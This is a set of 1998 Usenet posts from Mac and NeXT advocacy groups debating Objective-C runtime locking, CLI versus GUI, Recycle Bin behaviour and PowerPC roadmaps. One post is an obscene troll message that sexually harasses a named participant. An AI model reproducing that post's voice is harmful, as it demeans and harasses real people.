>Fortunately, you can rework the Obj-C runtime so that it only needs to
>lock things when updating the method dispatch tables. Basically, when
>you need to rebuild the method cache, build a new one and change the
>pointer, rather than screwing with the xisting cache.
Ah yes-- I'd forgotten about that.
Of course, not having a lock around the method dispatch limits your
flexibility to select the runtime data structures and "warm up the
caches"...say by moving the selector you're accessing to the front of the
linked list of the bucket of a hash table with chaining (etc).
So there's still a tradeoff being made.
-Chuck
Charles Swiger | chuck@codefab.com | Yeah, yeah-- disclaim away.
----------------+-------------------+----------------------------
You have come to the end of your journey. Survival is everything.
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 10 Sep 1998 22:37:28 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6t9kb8$f29$3@news.mxol.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <6t68ia$b2c$1@nnrp03.primenet.com> <heaney-0909981627150001@24.0.246.137> <35F6F4F8.F3327219@ericsson.com> <heaney-0909982200140001@24.0.246.137> <35F76A3F.CEAA6265@nstar.net>
"Michael J. Peck" <mjpeck@nstar.net> wrote:
[ ... ]
>I'm not trying to outlaw the GUI! Please, don't accuse me of that. I've
>already gone through the ordeal of defending the GUI against Chuck
>Swiger.
Huh?
I've always been a proponent of using the right tool for the job, which is
why I want the operating systems I deal with to provide both an excellent GUI
and an excellent CLI. NEXTSTEP fit those criteria admirably.
In the past, I have strongly disagreed with people (mainly Mac users) who
want to remove the CLI entirely. Did you happen to fall into that category,
by any chance?
-Chuck
Charles Swiger | chuck@codefab.com | Yeah, yeah-- disclaim away.
----------------+-------------------+----------------------------
You have come to the end of your journey. Survival is everything.
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-1109981609060001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <6t68ia$b2c$1@nnrp03.primenet.com> <heaney-0909981627150001@24.0.246.137> <35F6F4F8.F3327219@ericsson.com> <heaney-0909982200140001@24.0.246.137> <35F76A3F.CEAA6265@nstar.net> <6t9kb8$f29$3@news.mxol.com> <35F85D52.45E77BB@ericsson.com> <6tbjft$hq4$1@news.mxol.com> <heaney-1109981353290001@24.0.246.137> <6tbtqt$i96$2@news.mxol.com>
Organization: Solid Object Software
Date: Fri, 11 Sep 1998 20:00:11 GMT
NNTP-Posting-Date: Fri, 11 Sep 1998 13:00:11 PDT
In article <6tbtqt$i96$2@news.mxol.com>, "Charles W. Swiger"
<chuck@codefab.com> wrote:
> heaney@SolidObject.com (John Heaney) wrote:
> >In article <6tbjft$hq4$1@news.mxol.com>, "Charles W. Swiger"
> ><chuck@codefab.com> wrote:
> [ ... ]
> >> Ah, yes-- I remember now. Tell me, have you heard about the text-mode
> >> version of Quake? It'll work in an xterm, over a telnet session, or
even on
> >> a VT100 terminal. http://webpages.mr.net/bobz/ttyquake...
> >
> >Cute, but isn't it really just a GUI with a really bad renderer?
>
> That's a very good question, and I guess it depends on where you want to
draw the
> line. For myself, a GUI is based off of a pixel-based display with a
pixel-based
> pointing device (like a mouse). If it works on a VT100 terminal, it's
not GUI the
> way a Mac is a GUI.
>
> I do not consider the text-drawn "dialog boxes" in something like MS-DOS
edit to make
> that program GUI. I also don't consider the "menu bar" in emacs-20
running in a
> terminal (like an xterm) to make that program GUI, although emacs
running as a
> standalone X client is a GUI program.
In that case, I'm glad you brought it up. I consider vi to use a CLI
because you actually type in commands to process your text. I consider
emacs to be a menu driven application, which is a crude precursor to the
GUI. The difference between emacs and vi is that emacs provides visual
cues for all the commands. and you have immediate visual feedback as to
what you just did. You don't have to request to see a block of text
redrawn.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: Fri, 11 Sep 1998 15:00:56 -0500
Organization: Ericsson North America Inc.
Message-ID: <35F98178.84E42983@ericsson.com>
References: <slrn6v628v.jan.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B21882EA-3A2A@206.165.43.166> <Eyz29G.8L0@T-FCN.Net> <gregorylo-0809982056350001@cpu2522.adsl.bellglobal.com> <Ez0tuH.DuH@T-FCN.Net> <gregorylo-0909982313490001@cpu2522.adsl.bellglobal.com> <6t9j56$f29$1@news.mxol.com> <gregorylo-1009982331490001@cpu2522.adsl.bellglobal.com> <6tbuc6$i96$4@news.mxol.com>
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Charles W. Swiger wrote:
> Okay, fair enough. Lets agree, however, that most examples of
> upwards-compatibility result from using human-readable protocols rather than
> binary formats.
That really doesn't have anything to do with upward-compatibility. It
has more to do with the fact that human-readable language parsers
generally have error-checking built in because it's convenient to do so.
As a result, upward-compatibility is just part of the overall greater
forgiveness of human-readable languages toward errors (as a set of all
deviations from a specific definition).
The reason for all of this is that (speaking very generally) most
human-readable languages are read in by a finite-automata parser,
whereas binary formats are not languages at all; they are actually data
organized according to an algorithm, and the reader is nothing more than
an algorithm. Since most algorithms are designed for efficiency rather
than flexibility, binary formats are generally less forgiving.
MJP
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: Thu, 10 Sep 1998 17:49:21 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1009981749210001@news-proxy.cso.uiuc.edu>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981043060001@news-proxy.cso.uiuc.edu> <01bddd01$b8c70b40$a672fe8c@watts.67.acs.ohio-state.edu>
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In article <01bddd01$b8c70b40$a672fe8c@watts.67.acs.ohio-state.edu>,
"Steve" <nospam@nospam!.kom> wrote:
> Pulsar <pulsar@springnet1.com> wrote in article
> <pulsar-ya02408000R1009981043060001@news-proxy.cso.uiuc.edu>...
> >
> > IBM and Motorola don't give a damn about market share. That's Apple's
> > worry. IBM and Motorola care about volume. The more they sell the happier
> > they are. The market share issue wouldn't be an issue for the Mac either
> > if it weren't for software.
> >
>
> ????
>
> Are you saying that is possible to have volume without market share? If
> so, you are saying that if the PPC chip has a zero market share, it is
> still possible to have a high volume. I don't follow this logic.
The goal of IBM and Motorola is not to specifically take sales away from
Intel at this point, but to grow the PPC market. It might have the side
effect of growing marketshare assuming that growth is greater than the
sales growth of the industry, but that's different.
IBM and Motorola don't care specifically whether they have 3%, 50%, or 99%
of the market. They care about volume. The more the merrier. Market share
is not the driving concern for them, sheer volume of sales is. The two are
certainly related, but it is not the market share that matters to them. Do
you see the distinction?
For Apple, marketshare is a far more important issue. This is because the
viability of the hardware is affected my availability of software.
Availability of software is affected by market share. While the marketshare
ideally _shouldn't_ be the concern in whether to develop a Mac product, it
is for many developers. Things are just not the same for IBM and Motorola
as chip makers.
Ryan Tokarek
<pulsar@springnet1.com>
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 10 Sep 1998 22:49:32 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6t9l1s$f29$4@news.mxol.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <SCOTT.98Sep6224159@slave.doubleu.com> <6t21ge$ktq$1@nnrp1.dejanews.com> <6t6ona$boq$4@news.mxol.com> <6t7sv7$tkp$1@nnrp1.dejanews.com>
quinlan@intergate.bc.ca wrote:
>In article <6t6ona$boq$4@news.mxol.com>,
> "Charles W. Swiger" <chuck@codefab.com> wrote:
>> Enabling multithreading roughly doubles this overhead again for just the
>> locking over the critical section of the method dispatch (ie, a lock over
>> the Obj-C runtime structures). Add whatever locking the various frameworks
>> like the Appkit need, and then add the explicit mutex locking (NSLock et al)
>> for your own code, too.
>
>What runtime structures are you refering too? The cache of previously found
>method addresses? The Appkit is going to need to inforce mutex in any case
>because Apple is now in the process of making it reentrant.
More or less. Remember that the Obj-C runtime is completely dynamic-- which methods a
clas responds to, and even what classes are around can change and grow (or even shrink,
not that removing things is common) during program execution. So, the runtime has to do
things like maintain lists of all of the classes and what they look like, inheritence
relationships, which methods everything can perform, and so forth.
>>> GUI programs are harder to write than CLI programs but most people deam
>>> the increased development cost to be worthwhile.
>>
>> Hmm. Is a Photoshop or a web browser harder to write than a GNU C
>> compiler, or a Mach kernel?
>
> I meant for the equivalent application. Writing a CLI compiler is easier than
> writting a GUI compiler.
Slightly, I suppose. That's more because most of the work of doing a compiler is
interface-neutral, but the CLI concept of pipelines meshes well with the "standard"
design of multiple compiler stages.
However, I'd bet that writing a CLI version of Photoshop which was comparible in terms of
functionality and ease-of-use would be almost impossible-- certainly much more difficult
than writing the GUI version.
>> That'd probably work adequately well, actually-- assuming the cost of
>> duplication was significantly smaller than the cost to prepare the document
>> to go to the printer....
>
>The cost of the duplication could be very expensive. Imagine duplicating a
>thesis or 1200dpi image file.
Okay, so what? There's no getting around the minimum amount of work required to perform
a task....
>> Threading doesn't come for free. Threading does not improve performance
>> over a properly done non-threaded designs. Of course, it's much easier to
>> design a PMT threaded app than a cooperative one. But then, selecting
>> the right tradeoffs is what a developer should be doing....
>
> Threading can improve performance if you have more than one processor.
Yes. But then, a well-designed multi-process system can also improve performance
relative to the single-CPU case.
-Chuck
Charles Swiger | chuck@codefab.com | Yeah, yeah-- disclaim away.
----------------+-------------------+----------------------------
You have come to the end of your journey. Survival is everything.
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: CLI vs GUI holywars! (Was Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?))
Date: Fri, 11 Sep 1998 14:33:12 -0600
Organization: Stone Entertainment
Message-ID: <stone-1109981433130001@rc-pm3-1-18.enetis.net>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <35F66E55.58EB106@nstar.net> <heaney-0909981615420001@24.0.246.137> <35F6FEE8.9D090CC3@ericsson.com> <6t7798$5l$1@nnrp3.snfc21.pbi.net> <35F767A9.F72D95C@nstar.net> <6ta4m1$rbf@news1.panix.com> <35F8BD2A.FF5812DE@nstar.net> <heaney-1109980451040001@24.0.246.137>
In article <heaney-1109980451040001@24.0.246.137>, heaney@SolidObject.com
(John Heaney) wrote:
> In article <35F8BD2A.FF5812DE@nstar.net>, "Michael J. Peck"
> <mjpeck@nstar.net> wrote:
>
> > Sal Denaro wrote:
> >
> > > %start trans 1
> > > %ls -la |sort > xyzzy (if xyzzy exists, back it up to xyzzy.trans1.$PID)
> > > %commit trans 1 (All backup files removed)
> > > -or-
> > > %rollback (... or "undo", all backups are restored in the reverse
that they
> > > are created)
> >
> > That's the idea. I was thinking of something a bit more automatic,
> > albeit less safe. For instance, the 'rm' command would throw files into
> > a trash bin, and you could have a different command for emptying the
> > trash. Same idea as the GUI, just applied to the CLI. Similarly, if you
> > renamed a file, the file's original name would be held in a buffer
> > somewhere and cleared out later that night, or something similar. A
> > manual flush could be performed, if the user liked.
>
> Back in my unix days, I had an alias of rm that instead did a copy to a
> "trash" directory. My .logout file did the actual delete. That's not
> unusual, is it? I know I wasn't the only one that did that.
Heck even I had rm setup through the UNIX prompt through my account on my
old school's server... and I was running it in a terminal app under
MacOS. Simple UNIX commands are easy and straight forward to setup for
any halfway experienced user. But no CLI can compare to the versitility,
functionality, and effciency of a well implimented GUI like the MacOS.
--
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
From: usenet@*REMOVE*benturner.*THIS*com (Ben Turner)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Fri, 11 Sep 1998 20:33:43 GMT
Organization: benturner.com
Message-ID: <35f98826.58068014@newshost.cc.utexas.edu>
References: <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <macghod-0609981225550001@sdn-ar-001casbarp298.dialsprint.net> <82HI1.1591$2s.1694532@newsfeed.slurp.net> <andyba-ya02408000R1009981052140001@news> <fe6K1.323$D%1.403779@newsfeed.slurp.net> <andyba-ya02408000R1109980923180001@news>
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
On Fri, 11 Sep 1998 09:23:18 -0700,
andyba@corp.webtv.net (Andy Bates) wrote:
> But the point is, you can't even LOOK at the
> files you've trashed that are inside the
> folder! How do you know if you want to restore
> the folder or not if you don't know what
> files are in it? This ruins the whole file metaphor.
Um. I'm not really following this thread, but...
I'm using Win95. When I delete a folder that contains subfolders, all
the files are listed individually in the Recycle Bin, not just as one
folder. If you need to know the paths of the files, you change (if
you haven't already) the display so it shows details instead of simply
listing the files. You can then sort by pathname and find the file
you need, and restore a whole directory by looking at the grouped
pathnames.
It could be made better, but it's not as bad as this thread has made
it sound.
B.
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Carpe cras! Down with epicureanism!
http://www.benturner.com/, PGP key: 0x9702261F
catullan@benturner.com
From: bdz@hell-flame-wars.org (BshutDupZwhore)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Distribution: Global
Subject: HI BITCHES, COME FUCK ME
Message-ID: <bdz-8999655564431236@hell-flame-wars.org>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <35F66E55.58EB106@nstar.net> <heaney-0909981615420001@24.0.246.137> <35F6FEE8.9D090CC3@ericsson.com> <6t7798$5l$1@nnrp3.snfc21.pbi.net> <35F767A9.F72D95C@nstar.net> <6ta4m1$rbf@news1.panix.com>
Organization: Hell Flame Wars www.hell-flame-wars.org
Date: Fri, 11 Sep 1998 05:34:31 GMT
NNTP-Posting-Date: Thu, 10 Sep 1998 22:34:31 PDT
In article <6ta4m1$rbf@news1.panix.com>, sal@panix.com wrote:
> On Thu, 10 Sep 1998 00:46:17 -0500,
> Michael J. Peck <mjpeck@nstar.net> wrote:
> > Has anyone ever heard of a CLI shell that supported
> >'undo' actions?
>
> SQL consoles have a "rollback" command. I see no reason (save common sense and
> good taste) why a shell like system could not be set up to do the same.
>
> %start trans 1
> %ls -la |sort > xyzzy (if xyzzy exists, back it up to xyzzy.trans1.$PID)
> %commit trans 1 (All backup files removed)
> -or-
> %rollback (... or "undo", all backups are restored in the reverse that they
> are created)
>
> It might be painfully slow and awkward to use, but it can be done.
>
WHO GIVES A FUCKING SHIT! Lets talk about SEX. GAY SEX! Hey Tom Elam,
come here, I wanna butt fuck you. You sound like you need it. Fuckin
troll.
<-><-><-><-><-><-><-><->
Big Daddy Zeus
www.hell-flame-wars.org
<-><-><-><-><-><-><-><->
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy
Subject: Re: [Q] Rhapsody and Unix
Date: 11 Sep 1998 20:49:42 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdddc3$98113e30$06387880@chewy>
References: <35F6B619.1A937B2B@yahoo.com> <6t6eva$fd8@shelob.afs.com> <35F6C61A.9F1247E3@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote ...
> Gregory H. Anderson wrote:
> >
> > Robert Fovell <rfovell@yahoo.com> writes
> > > When Rhapsody comes out, will it provide the basic set of
> > >Unix tools?
> >
> > Yes.
>
> Rhapsody, yes, aka MacOS X Server. *Not* MacOS X Nothing (aka, I'm
> told, Rhapsody 2.0). Enjoy your integration while you can (i.e. for
> one major revision).
Hmm... Sounds like we need an equivalent of sunsite. Sunsite provides a
fair number of pre-built packages for various version of Solaris (for Intel
and Sparc) (other OSes are also supported).
http://www.sunsite.unc.edu/pub/packages/solaris/sparc/
It is an absolutely wonderful resource for people using Solaris. While I
know at least Stepwise supports a similar archive, I don't think it is
quite as well organized.
Todd
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6tbseh$mat$9484@wave.hypersurf.com> ignore no reply
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Message-ID: <cancel.6tbseh$mat$9484@wave.hypersurf.com>
Date: Fri, 11 Sep 1998 19:43:39 +0000
Sender: mdfodfmk@usacurrency.com
From: andrew@erlenstar.demon.co.uk
Organization: Annihilator v0.3
Spam (EMP) cancelled - multiposted binary files
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From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 11 Sep 1998 21:08:05 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6tc3fl$otr$1@news.cs.tu-berlin.de>
References: <6tamvu$i6b$1@news.cs.tu-berlin.de> <B21E6DE3-23A97@206.165.43.111>
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"Lawson English" <english@primenet.com> writes:
[..]
>The interesting thing is that the XML image could STILL be embedded within
>PDF as a custom object, so that Carbon apps would be able to use the PDF
>format while YB apps could use the XML. If OpenDoc-like "promises" were
>provided for in the YB clipboard, an app could defer which format to use
>until the image was actually used (or the app quit). That could save a lot
>of memory.
What do you mean 'if'? The NeXTStep clipboard has had 'promises' as
you call them at least since 1991, and I suspect they were there
from the very beginning.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: 11 Sep 1998 21:07:32 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6tc3ek$k9l@newsb.netnews.att.com>
References: <01bddcc0$5d4b7620$7072fe8c@watts.67.acs.ohio-state.edu> <joe.ragosta-1109981025010001@wil128.dol.net> <6tbd38$252$1@hecate.umd.edu> <joe.ragosta-1109981141100001@0.0.0.0>
Originator: gupta@tlctest
According to MacWeek Feb 9, 1998, (a report on the
IEEE Intl. Solid State Circuit Conference), by David Morgenstern :
G4 will be G3 750 cores running at 1.8V, with add-on
technologies:
a. Desktop 98 offers Video and Multimedia Extensions (i.e., AltiVec)
b. Desktop 99 : multiple 750s on a single chip, SMP with 2 or 4
processors.
According to the article, G4s are slated to ship by the end of the
year.
***
BTW, current 750s support a maximum of 1 MB L2 cache.
A newsitem and comments on the newsgroups lead me to believe
that chips that support more L2 (e.g., 2 MB) are in the works.
-arun gupta
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <macghod-0609981225550001@sdn-ar-001casbarp298.dialsprint.net> <82HI1.1591$2s.1694532@newsfeed.slurp.net> <andyba-ya02408000R1009981052140001@news>
Subject: Re: What we need from Mac OSuX
Message-ID: <fe6K1.323$D%1.403779@newsfeed.slurp.net>
Date: Fri, 11 Sep 1998 09:40:27 GMT
NNTP-Posting-Date: Fri, 11 Sep 1998 02:40:27 PDT
Organization: Slurp News Feeds
Andy Bates wrote in message ...
>In article <82HI1.1591$2s.1694532@newsfeed.slurp.net>, "Dan"
><dan@knowspaam.com> wrote:
>
>> I'm still not totally clear on either of your explanations.
>>
>> If I drag a folder called "Junk" to the Recycle Bin which has 100 files
in
>> it, and I open the Recycle Bin I will see a folder named "Junk".
>
>Exactly.
>
>Now open it.
>
>What do you get? A list of the 100 files enclosed in it? No, you get the
>Properties window. How are you supposed to restore one of the enclosed
>files or folders?
True... though it's nothing I've had to do. Basically, if you delete a
"folder" and you want to restore something, that "folder" is most likely it.
Hopefully they will change that in NT 5.0... but it's not a very big deal.
I never even thought of that until you mentioned it. Good come back though
:-)
Dan
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
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References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net> <WNJI1.4169$MS.10218506@news.rdc1.sdca.home.com>
<6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com>
<rmcassid-0809981048120001@hephaestus.eng.uci.edu> <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com>
<rmcassid-0909981511080001@hephaestus.eng.uci.edu> <w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com>
<rmcassid-1009981404080001@hephaestus.eng.uci.edu>
Message-ID: <7xgK1.4571$MS.13084797@news.rdc1.sdca.home.com>
Date: Fri, 11 Sep 1998 21:23:15 GMT
NNTP-Posting-Date: Fri, 11 Sep 1998 14:23:15 PDT
Organization: @Home Network
In <rmcassid-1009981404080001@hephaestus.eng.uci.edu> Robert Cassidy wrote:
> In article <w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
>
> >> Or does Apple have enough now that they should simply rework their
> >> existing APIs to a more suitable foundation for a handheld or palmtop?
> >>
> >
> >All these excellent points would be true were it not for the fact that
> >Psion's "Epoc" is an OS. Albeit, a smallish OS but its multi-tasking,
PMT
> >(I think), and O-O to boot... MacOS X could run "on-top" or subsets
there
> >of.
>
> I understand that it is an OS. But an OS of that scale doesn't seem to be
> that hard to come up with.
>
>
This underestimates the "value" of a proven OS, ala Openstep.
> The APIs and the support for them _are_ hard,
> however. I'd think that with Epoc Apple would throwing away or downplaying
> the bulk of what Epoc does that is interesting.
>
>
If you assume Apple's API's are more important, I can understand this
perspective. IMHO, they are not that good at what Psion's EPOCH OS does.
> Are multi-tasking, PMT, OO OSes really that distinctive and hard to come
> by unless you make the most of the APIs and tools that come with them?
>
>
It is distinctive enough to outsell "any" other keyboard PDA including HP,
3Com, et. al. worldwide.
> I think of OpenStep without YB and, well, big whoop. It's Mach and BSD.
It's
> YB and platform independence and good design that is interesting, at least
> to me.
>
>
This is provincial thinking... what EPOCH OS does is "wireless" and small
form factor applications. The "synergy" of MacOS X (was Rhapsody) + Psion
is _interoperability_, _synchronization_ and _compatibility_ from cell
phone, voice applications, desktop to server. That Mach and BSD do it for
you is nice but when you don't have a desk any longer you'll need a seamless
"wireless" solution. You're probably only 24 mos. away from this yourself.
> I guess in a way, I'm wondering if Epoc is significant enough to Apple, or
> whether it's better to have it out there as another choice?
>
>
The list is long for the number of wireless manufacturers licensing the EPOC
OS for wireless hardware. I don't own a wireless device that doesn't need
to connect to something. Apple can be that _something! Otherwise they are
just another _disconnected_ irrelevent device in the scrap heap of
technology.
> I think
> OpenStep was significant enough, neither it or Apple was doing
> particularly well going it alone - together it could be quite nice (though
> patience is wearing thin...).
>
>
They are making existing Mac users happy... they've laid they're bets on
Mac centric OS moving forward. The near future will position Mac against
the competition. We'll see then how appropos the Carbon strategy...
-r
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 11 Sep 98 14:25:27 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21EE360-CB00@206.165.43.178>
References: <6tbuc6$i96$4@news.mxol.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Charles W. Swiger <chuck@codefab.com> said:
>Okay, fair enough. Lets agree, however, that most examples of
>upwards-compatibility result from using human-readable protocols rather
>than
>binary formats.
Is this the nature of human-readable protocols are an artifact of specific
ones that you are thinking of?
What is there about a human-readable protocol that *automatically* makes it
more forward-compatible?
Isn't it really just a design-issue, which is the same issue whether it is
binary or text-based?
I mean, GX defines 12 shape types numbered 1-12 (gxEmptyShapeType through
gxPictureShapeType, I believe). The built-in shape flattening and restoring
library doesn't know what to do with shapes types numbered above 13 and
likely croaks. But that's an artificial limitation to the strategy. An OOP
version of GX could allow plug-in definitions of shapes with shape-types
higher than 12. They just didn't do it. A text-based version would also
have the same limitations unless they designed for extensions in the first
place.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Fri, 11 Sep 1998 14:26:53 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6tc54g$kj0$1@plo.sierra.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <macghod-0609981225550001@sdn-ar-001casbarp298.dialsprint.net> <82HI1.1591$2s.1694532@newsfeed.slurp.net> <andyba-ya02408000R1009981052140001@news> <fe6K1.323$D%1.403779@newsfeed.slurp.net> <andyba-ya02408000R1109980923180001@news> <6tbr11$h9i$1@plo.sierra.com> <smileyy-1109981540100001@192.168.0.2>
NNTP-Posting-Date: 11 Sep 1998 21:36:16 GMT
Andrew McCormick wrote in message ...
>And how does this help when my hierarchy looks like:
>
>* web site
> - index.html
> * mystuff
> - index.html
> - foo.gif
> - bar.jpg
> * yourstuff
> - index.html
> - baz.ra
> - dimwiddle.gif
>
>So I trash the web site, then realize that I want to hang onto the file in
>'mystuff' called 'index.html'. Now which one is it, then? Can't really
>tell, since Windows spooged the hierarchy all over the recycle bin.
Sort of. You drag the "web site" folder back out, grab the files you want,
then put the "web site" folder back in the trash. Not perfect, but not a big
deal at all. Such a small deal, that myself and others didn't even notice
that you couldn't open the folder in the trash.
